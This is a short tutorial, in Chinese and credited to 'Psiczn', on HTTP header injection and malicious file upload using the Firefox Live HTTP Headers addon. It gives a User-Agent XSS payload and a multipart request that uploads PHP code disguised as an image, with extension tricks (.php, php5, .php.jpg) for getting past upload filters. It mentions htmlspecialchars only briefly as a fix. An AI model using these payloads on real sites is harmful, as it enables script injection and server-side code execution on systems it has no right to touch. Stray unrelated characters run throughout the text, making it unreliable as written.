這份論文只為教育目的郊愧。
我發(fā)現(xiàn)我的BLOGSPOT程序非常的糟糕,所有的提交都是非常的糟糕井佑,于是我決心做一個(gè)好的版本属铁。對(duì)不起,我的英語(yǔ)說(shuō)的不是很好,我會(huì)繼續(xù)努力的躬翁,OK焦蘑,讓我們開(kāi)始這篇簡(jiǎn)短的文章,你是怎么認(rèn)為看到一個(gè)上傳的頁(yè)面盒发,我認(rèn)為例嘱,也許每個(gè)人都會(huì)想這是一個(gè)非常不錯(cuò)的BUG∧ⅲ跨站上傳是一個(gè)不錯(cuò)的主意拼卵,你也可以把文件重命名為“File.php.jpg”。然而我們將要談?wù)摰目缯揪褪窃谙㈩^中蛮艰,存在這種漏洞的頁(yè)面是高風(fēng)險(xiǎn)的腋腮。
關(guān)于HTTP消息頭:http://en.wikipedia.org/wiki/List_of_HTTP_headers
你要知道我們可以修改HTTP頭應(yīng)答包,就像一個(gè)注射的例子(要理解這個(gè)或做一些測(cè)試印荔,你需要下載并安裝在FireFox Addon中搜索”Live HTTP Headers”)運(yùn)行這個(gè)Addon當(dāng)你輸入Google.com回車(chē)后,如例子你將看到一些應(yīng)答包數(shù)據(jù)低葫,如下:
Host: google.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
你知道有多少站點(diǎn)會(huì)在這個(gè)頁(yè)面中打印你的IP和瀏覽器?很多!,你認(rèn)為這樣正解嗎仍律?你可以改變這個(gè)消息頭和制做一個(gè)測(cè)試用的XSS(Cross Site Scripting)嘿悬,許多的站點(diǎn)存在這種類(lèi)型的漏洞而造到攻擊,因?yàn)閃EB管理員毫不知道關(guān)于這類(lèi)的BUG;我記得不是很清楚水泉,但是Astalavista前幾個(gè)月也是這種類(lèi)型的攻擊漏洞—HTTP HEADER INJECTION∩普牵現(xiàn)在當(dāng)你拿著HTTP消息頭的應(yīng)答包打開(kāi)你的Addon Live http headers單擊上面的選項(xiàng)”replay”和修改瀏覽器/ user agent如下例:
Host: google.com
User-Agent:<script>alert(/XSS/)</script>
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
當(dāng)你再次單擊”replay”你會(huì)看到結(jié)果正是你http消息頭的注入結(jié)果窒盐,測(cè)試中發(fā)現(xiàn)85%的頁(yè)面都存在這樣的BUG,如果你要去一個(gè)WEB程序中你務(wù)必保持警覺(jué)钢拧。你知道怎么修改這個(gè)程序嗎蟹漓?只需要使用htmlspecialchars();函數(shù)。那是關(guān)于XSS的利用源内,但是我對(duì)跨站上傳的時(shí)候制做http header注入感興趣.
讓我們看這個(gè)HTTP頭的葡粒,消息包,是在我上傳一個(gè)”IMAGE”時(shí)的全部代碼:
Host: www.webiste.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://website.com
Content-Type: multipart/form-data; boundary=---------------------------23864205337548
Content-Length: 322
-----------------------------23864205337548
Content-Disposition: form-data; name="userfile"; filename="image.jpg"
Content-Type: image/jpeg
phpinfo();
?>
-----------------------------23864205337548
Content-Disposition: form-data; name="submit"
Subir imagen
-----------------------------23864205337548--
這是我在http消息頭中推測(cè)出的圖片應(yīng)答包。在這中間你可以看到PHP代碼膜钓,OK,讓我們嘗試一些不同的嗽交,我們可以去改變這個(gè)名稱(chēng)為圖片和其他的擴(kuò)展名如例子:.php(由于一些站點(diǎn)以經(jīng)把漏洞給補(bǔ)上了,不可以上傳PHP擴(kuò)展名颂斜,你可以去嘗試
php5,php4,php.jpg,php.png,etc);
Content-Disposition: form-data; name="userfile"; filename="image.php"
Content-Type: image/jpeg
phpinfo();
?>
-----------------------------23864205337548
Content-Disposition: form-data; name="submit"
Subir imagen
-----------------------------23864205337548—
當(dāng)我們發(fā)送replay后夫壁,讓我們看一下HTTP消息頭注入的返回結(jié)果;我們得到POST發(fā)送的錯(cuò)誤,內(nèi)容是過(guò)于長(zhǎng)沃疮。退出這個(gè)錯(cuò)誤提示盒让,再次點(diǎn)擊發(fā)送replay在外面:
Content-Length: 322
如果上傳漏洞存在,你將看到你所上傳代碼執(zhí)行后的頁(yè)面司蔬,當(dāng)你點(diǎn)擊這個(gè)連接就會(huì)看到你假圖片.我希望你們?cè)谶@篇論文里學(xué)到新的知識(shí)邑茄,致意。
Author : Psiczn
Website: www.psiczn.uni.cc
Contact: Psiczn@gmail.com
Note : If you are going to post this little paper in some site please put the source and the
author, this paper have copyright.